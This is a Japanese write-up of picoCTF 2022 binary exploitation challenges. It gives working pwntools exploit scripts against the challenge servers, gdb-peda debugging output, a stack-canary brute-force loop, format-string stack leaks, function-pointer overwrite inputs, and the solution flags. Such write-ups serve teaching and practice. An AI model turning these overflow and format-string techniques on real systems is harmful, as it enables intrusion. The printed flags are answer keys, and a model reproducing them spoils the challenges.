picoCTF 2022 writeup[pwn]
picoCTF 2022のBinary Exploitationのwriteupです
picoCTF 2022 writeup[pwn]
問題ファイルや私がかいたソルバは()にあります。
basic-file-exploit (100pts)
配布されたプログラムを見ると、data_read()
関数では受け取ったentry_numberから1引いた数を用いてdata
から文字列を取ってきています。そして、global変数の並びは
static const char* flag = "[REDACTED]";
static char data[10][100];
なので、entry_numberに0を入れればdata_read()
関数で読まれるデータはdata[-1]
、すなわちflag
になりそうな気がします。実際なるので勝ちです。
picoCTF{M4K3_5UR3_70_CH3CK_Y0UR_1NPU75_25D6CDDB}
buffer overflow 0 (100pts)
配布されたプログラムを見ると分かる通り、この問題ではbuffer overflowさせてSIGSEGVを発生させるとflagを出してくれます。適当にFLAGSIZE_MAX
、つまり64文字を超える長さの入力をしてbuffer overflowさせればよいです。
picoCTF{ov3rfl0ws_ar3nt_that_bad_ee2fd2b1}
CVE-XXXX-XXXX (100pts)
はじめてWindowsの印刷スプーラーのRCEに関する脆弱性が報告されたのはCVE-2021-34527らしいです。がんばって検索しましょう.
picoCTF{CVE-2021-34527}
buffer overflow 1 (200pts)
vuln()
関数内のgets(buf)
の脆弱性を使ってwin()
関数を呼ぼう、という問題です。
まずは適当に文字列を生成してbuffer overflowさせ、レジスタの書きかわりの様子を見ます。
gdb-peda$ pattern_create 80
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A'
gdb-peda$ run
Starting program: /home/altair626/workspace/picoctf2022/binary/buffer_overflow_1/vuln
Please enter your string:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A
Okay, time to return... Fingers Crossed... Jumping to 0x41414641
Program received signal SIGSEGV, Segmentation fault.
[--------------------------------------registers--------------------------------------]
EAX: 0x41 (b'A')
EBX: 0x61414145 (b'EAAa')
ECX: 0x41 (b'A')
EDX: 0xf7fb8890 --> 0x0
ESI: 0xf7fb7000 --> 0x1d4d8c
EDI: 0x0
EBP: 0x41304141 (b'AA0A')
ESP: 0xffffcfc0 ("bAA1AAGAAcAA2AA"...)
EIP: 0x41414641 (b'AFAA')
[----------------------------------------code-----------------------------------------]
Invalid $PC address: 0x41414641
[----------------------------------------stack----------------------------------------]
Display various information of current execution context
Usage:
context [reg,code,stack,all] [code/stack length]
0x41414641 in ?? ()
EIPレジスタが0x41414641 (b'AFAA')に書き換わっていますね。よって、入力した文字列のAFAA
の部分をwin()
のアドレスに換えればwin()
を呼んでくれそうです。
gdb-peda$ patto AFAA
AFAA found at offset: 44
gdb-peda$ x win
0x80491f6 <win>: "\363\017\036\373U\211\345S\203\354T\350*\377\377"...
ですから、適当に44文字入れたあと、\xf6\x91\x04\x08
を入れればよいです(リトルエンディアンに注意)。
from pwn import *
r = remote('saturn.picoctf.net', 61044, level = 'debug')
inp = "A"*44 + "\xf6\x91\x04\x08"
print(r.recvline())
r.sendline(inp)
print(r.recvline())
print(r.recvline())
picoCTF{addr3ss3s_ar3_3asy_60fac6aa}
RPS (200pts)
じゃんけんに連勝するとflagがもらえるプログラムです。よ~く見ると入力をrockpaperscissors
にすれば絶対勝ててしまうバグがあるのでそれをするだけです。
picoCTF{50M3_3X7R3M3_1UCK_32F730C2}
x-sixty-what (200pts)
x64でbuffer overflow 1と同様のbuffer overflowによるRIPの書き換えをする問題です。
x64でpwnするときの注意点の「リターンアドレス」の節で言われているように、x64では雑にbuffer overflowさせるとRIPは書き換わらず、スタックの様子を見に行く必要があるようです。
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
gdb-peda$ run
Starting program: /home/altair626/workspace/picoctf2022/binary/x-sixty-what/vuln
Welcome to 64-bit. Give me a string that gets you the flag:
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------------------registers-----------------------------------------------]
RAX: 0x7fffffffde20 ("AAA%AAsAABAA$AA"...)
RBX: 0x0
RCX: 0x7ffff7dcda00 --> 0xfbad2288
RDX: 0x7ffff7dcf8d0 --> 0x0
RSI: 0x4052c4 --> 0xa (b'\n')
RDI: 0x7fffffffde84 --> 0x7f00
RBP: 0x4141334141644141 (b'AAdAA3AA')
RSP: 0x7fffffffde68 ("IAAeAA4AAJAAfAA"...)
RIP: 0x4012d1 (<vuln+31>: ret)
R8 : 0x4052c5 --> 0x0
R9 : 0x0
R10: 0x405010 --> 0x0
R11: 0x7ffff7b9eda0 --> 0xfffb14c0fffb12f8
R12: 0x401150 (<_start>: endbr64)
R13: 0x7fffffffdf70 --> 0x1
R14: 0x0
R15: 0x0
[-------------------------------------------------code-------------------------------------------------]
Display various information of current execution context
Usage:
context [reg,code,stack,all] [code/stack length]
0x00000000004012d1 in vuln ()
gdb-peda$ info frame
Stack level 0, frame at 0x7fffffffde68:
rip = 0x4012d1 in vuln; saved rip = 0x4134414165414149
called by frame at 0x7fffffffde78
Arglist at 0x7fffffffde60, args:
Locals at 0x7fffffffde60, Previous frame's sp is 0x7fffffffde70
Saved registers:
rip at 0x7fffffffde68
スタックを見るとsaved rip = 0x4134414165414149
(リトルエンディアンなので、IAAeAA4A)です。よって、
gdb-peda$ patto IAAeAA4A
IAAeAA4A found at offset: 72
gdb-peda$ x flag
0x401236 <flag>: 0xe5894855fa1e0ff3
より、IAAeAA4A
があった73~80文字目を0x0000000000401236に書き換えれば勝ちです。
from pwn import *
r = remote('saturn.picoctf.net', 61658, level = 'debug')
inp = "A"*72 + "\x3b\x12\x40\x00\x00\x00\x00\x00"
print(r.recvline())
r.sendline(inp)
print(r.recvline())
print(r.recvline())
picoCTF{b1663r_15_b3773r_011d4bd8}
buffer overflow 2 (300pts)
buffer overflowによりwin()
を呼ぶのですが、引数1が0xCAFEF00D、引数2が0xF00DF00Dになっていなければいけません。これを実現するためには、書き換えたあとのstackが
[lower address]
| ... |
+-------------------------+
ebp -> | address of win() | 0x08049296
+-------------------------+
| return address of win() | なんでもいい
+-------------------------+
| argument 1 | 0xcafef00d
+-------------------------+
| argument 2 | 0xf00df00d
+-------------------------+
| ... |
[higher address]
となっていればよいです。gdbで調べるとeipに書かれる位置は113-116文字目、win()のアドレスは0x08049296なので、入力すべきバイナリは
"A"*112 + "\x96\x92\x04\x08BBBB\x0d\xf0\xfe\xca\x0d\xf0\x0d\xf0"
となります。
picoCTF{b1663r_15_b3773r_011d4bd8}
buffer overflow 3 (300pts)
stack canaryを書き換えないようにbuffer overflowをする必要があります。しかしリモートマシンで動いているプログラムで設定されているcanaryの値がわからないので、推測する必要があります。
canaryを1文字でも書き換えると***** Stack Smashing Detected *****
というエラーメッセージが出るので、1文字だけ書き換わるような入力を繰り返してエラーメッセージがでないときの文字が正解であるとわかります。以下のようにcanaryを当てるプログラムを書きました。
from pwn import *
inp = "s"*64
for _ in range(4):
for i in range(20, 128):
r = remote('saturn.picoctf.net', 63460)
estimated_inp = inp + chr(i)
r.recvline()
r.sendline(str(len(estimated_inp)))
r.sendline(estimated_inp)
ret = r.recvline()
if "Stack Smashing" not in str(ret):
print("get chr of canary:", i)
break
inp += chr(i)
print(inp)
r = remote('saturn.picoctf.net', 63460, level = 'debug')
inp += "A"*16 + "\x36\x93\x04\x08"
r.recvline()
r.sendline(str(len(inp)))
r.sendline(inp)
print(r.recvline())
print(r.recvline())
canaryはBiRd
でした。
picoCTF{Stat1C_c4n4r13s_4R3_b4D_f7c1f50a}
flag leak (300pts)
scanf("%127s", story);
で読んだ文字列をそのままprintf(story);
と書式を指定せずに使っています。書式文字列攻撃をしたくなりますね。%p%p%p%p...%p%p%p%p%p%p%p%p
と%p
をたくさん入力してstackの中身を吐き出させると
0xff9640300xff9640500x80493460x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x2570250x6f6369700x7b4654430x6b34334c0x5f676e310x67346c460x6666305f0x3474535f0x655f6b630x346239620x7d3261360xfbad20000xfba3fd00(nil)0xf7fb09900x804c0000x8049410(nil)0x804c0000xff9641180x80494180x20xff9641c40xff9641d0(nil)0xff964130(nil)(nil)0xf7da6ee5
という出力がでて、このうちascii文字がかたまっている0x6f6369700x7b4654430x6b34334c0x5f676e310x67346c460x6666305f0x3474535f0x655f6b630x346239620x7d326136
の部分がflagになっています。
picoCTF{L34k1ng_Fl4g_0ff_St4ck_eb9b46a2}
wine (300pts)
exeファイルが渡されますが、やることはbuffer overflow 1と同じくbuffer overflowによるeipの書き換えです。ollydbgをつかって解析すると、入力文字列のうちeipに書かれる部分のoffsetは140、win()関数のアドレスは0x00401530なので、入力すべきバイナリは
inp = "x" * 140 + "\x30\x15\x40\x00"
です。
picoCTF{Un_v3rr3_d3_v1n_bb39a2a4}
function overwrite (400pts)
fun[num1] += num2;
という操作を上手に使ってglobal変数のcheckの値をhard_checker()
の関数アドレスからeasy_checker()
の関数アドレスに書き換えます。
fun
のアドレスは0x0804c080、check
のアドレスは0x0804c040で差が64バイトなので、num1を-16にすればよいです。
また、hard_checker()
のアドレスは0x08049436、easy_checker()
のアドレスは0x080492fcで差が314なので、num2は-314にすればよいです。
story_scoreが1337になる文字列の一つにaaaaaaaaaaaaaL
があるので、
aaaaaaaaaaaaaL
-16 -314
を順に入力すればflagが手に入ります。
picoCTF{0v3rwrit1ng_P01nt3rs_f61460f0}
stack cache (400pts)
win()
を呼んでflagを読ませてからUnderConstruction()
を呼ぶとUnderConstruction()中のprintfが良い感じにflagを吐いてくれそうな気がします。
win()
のアドレスが0x08049da0、UnderConstruction()
のアドレスが0x08049e20なので、
inp = "xxxxxxxxxxxxxx\xa0\x9d\x04\x08\x20\x9e\x04\x08"
を送るとflagを手に入れることができました。
picoCTF{Cle4N_uP_M3m0rY_9bd1733a}